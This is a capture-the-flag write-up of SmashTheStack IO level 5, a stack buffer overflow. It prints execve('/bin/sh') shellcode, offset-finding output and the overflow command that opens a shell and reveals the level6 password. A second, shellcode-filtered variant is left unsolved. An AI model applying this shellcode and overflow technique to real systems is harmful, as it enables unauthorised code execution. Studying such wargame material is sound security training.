Core dump overflow

Core dump in progress...

SmashTheStack IO Level 5

| Comments

This is another level with 2 alternate programs to exploit.

Code for level05.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

  char buf[128];

  if(argc < 2) return 1;

  strcpy(buf, argv[1]);

  printf("%s\n", buf); 

  return 0;
}

This is a simple buffer overflow program. I will use the x86 execve(“/bin/sh”) shellcode and place it in an environment variable. Then I will get the address of that variable using an excellent program from Hacking: The Art of Exploitation and pass it to the level5 binary in order to get a shell.

First, here is the very useful code for getting the address of an environment variable, from Jon Erickson’s book:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}

Compile this program in your own directory. Next, add an environment variable with the shellcode:

1
export PWN=$(python -c 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"')

Next we need to find out the offsets for exploiting the program (again pattern_create.rb and pattern_offset.rb are your friends):

1
2
root@kali:/usr/share/metasploit-framework/tools# ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Run the program in GDB with the pattern and then get the offset:

1
2
3
4
5
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 0x37654136
[*] Exact match at offset 140

Now get the address of our environment variable:

1
2
level5@io:/tmp/mydir$ ./getenv PWN /levels/level05
PWN will be at 0xbfffff53

Profit:

1
2
3
4
5
6
level5@io:/tmp/mydir$ /levels/level05 $(python -c 'print "A" * 140 + "\x53\xff\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS´┐Ż´┐Ż´┐Ż
sh-4.2$ whoami
level6
sh-4.2$ cat /home/level6/.pass
9BT8fmYDTPimXXhY3m

This was the easy way. Prepare for worse in the alternate way, with level05_alt.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//don't get trapped, there's no need
//level by bla
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define LOADERSIZE (232 + 16)
void* getASLRregion(int size, int flags);
void switchcontext(char* newstack, char* code);

int main(int argc, char* argv[], char* env[])
{
  char *newcode, *newstack;

  //allocate memory at random addresses
  newstack = getASLRregion(64 * 1024, PROT_READ | PROT_WRITE );
  newcode =  getASLRregion(64 * 1024, PROT_READ | PROT_WRITE | PROT_EXEC);

  if(argc > 1)
  if(!strchr(argv[1], 0xcd))
  if(!strchr(argv[1], 0xe8))
  if(!strstr(argv[1], "\x0F\x34"))
  if(!strchr(argv[1], 0xdb)) {
      //prepare new code section, leaving some space for a loader
      strncpy(newcode + LOADERSIZE, argv[1], 1000);
      
      //start executing using a new stack and code section.
      switchcontext(newstack + 64 * 1024, newcode);
  }
  return 0;
}




/*************************************************************************************************************************/
/* HALT! The code below only provides a controllable aslr/noexec for this challenge, there's no need to waste time on it */
/*************************************************************************************************************************/
void __attribute__((constructor))initializePRNG(){int seed;FILE*devrand=fopen("/dev/random","r");if(devrand==0)exit(-1);
if(fread(&seed, 4, 1, devrand) != 1)exit(-1);fclose(devrand);srand(seed);}unsigned int loader[100]={0xe899c031,0};void*
getASLRregion(int size, int flags){int tries=1000,hint,res;while(tries--){hint=rand()<<12;res=(int)mmap((void*)hint,size
+4096,flags,MAP_PRIVATE|MAP_ANONYMOUS,0,0);if(hint==res){loader[++loader[1]+1]=hint;return (void*)(res+(rand()&0xffc));}
if(munmap((void*)res,size+4096))exit(-1);}exit(-1);}void switchcontext(char*newstack,char*code){loader[1]<<=2;memcpy(code
,loader,loader[1]+8);memcpy(code+loader[1]+8,"\x68\x61\x70\x73\x00\x68\x6c\x66\x2f\x6d\x68\x63\x2f\x73\x65\x68\x2f\x70"
"\x72\x6f\x89\xe3\x89\xc1\xb0\x05\xcd\x80\x81\xc4\x10\x00\x00\x00\x85\xc0\x0f\x88\x97\x00\x00\x00\x50\x89\xe5\x31\xc9\x31"
"\xff\xc1\xe7\x04\x0f\xb6\xc9\x09\xcf\xe8\x73\x00\x00\x00\x85\xc0\x0f\x84\x80\x00\x00\x00\x80\xf9\x2d\x74\x10\x80\xe9\x30"
"\x80\xf9\x09\x76\xde\x80\xe9\x27\xe9\xd6\xff\xff\xff\x8b\x75\x04\xad\x39\xf8\x74\x3b\x85\xc0\x75\xf7\x57\x31\xc9\x31\xff"
"\xc1\xe7\x04\x0f\xb6\xc9\x09\xcf\xe8\x38\x00\x00\x00\x85\xc0\x74\x49\x80\xf9\x20\x74\x10\x80\xe9\x30\x80\xf9\x09\x76\xe2"
"\x80\xe9\x27\xe9\xda\xff\xff\xff\x5b\x89\xf9\x29\xd9\x31\xc0\x99\xb0\x7d\xcd\x80\xe8\x0e\x00\x00\x00\x85\xc0\x74\x1f\x80"
"\xf9\x0a\x75\xf2\xe9\x7c\xff\xff\xff\x51\x89\xe1\x31\xc0\x99\xb0\x03\x42\x8b\x5d\x00\xcd\x80\x59\xc3\x31\xc0\x40\xcd\x80"
"\x31\xc0\xb0\x06\x5b\xcd\x80\x31\xc0\x5b\x31\xc9\xb1\x10\xfd\x89\xe7\xf3\xab\xfc\x8d\x7b\xf8\xb1\x3d\x99\x31\xdb\x31\xf6"
"\xf3\xab\x31\xff",LOADERSIZE-16);asm("mov %0, %%esp\nmov %1,%%eax\njmp *%%eax"::"r"(newstack-4),"r"(code):"eax");}

Function overview

Well, let’s first be clear on the flags used for the memory allocation:

PROT_EXEC Pages may be executed.

PROT_READ Pages may be read.

PROT_WRITE Pages may be written.

strchr

char strchr(const char str, int ch);

Returns a pointer to the first occurrence of character ch in str or a null pointer if no matching character is found.

The terminating null byte is considered part of the string, so that if ch is specified as ‘\0’, this function returns a pointer to the terminator.

I will come back to this at a later time.

Truth is the most valuable thing we have — so let us economize it.

— Mark Twain

Comments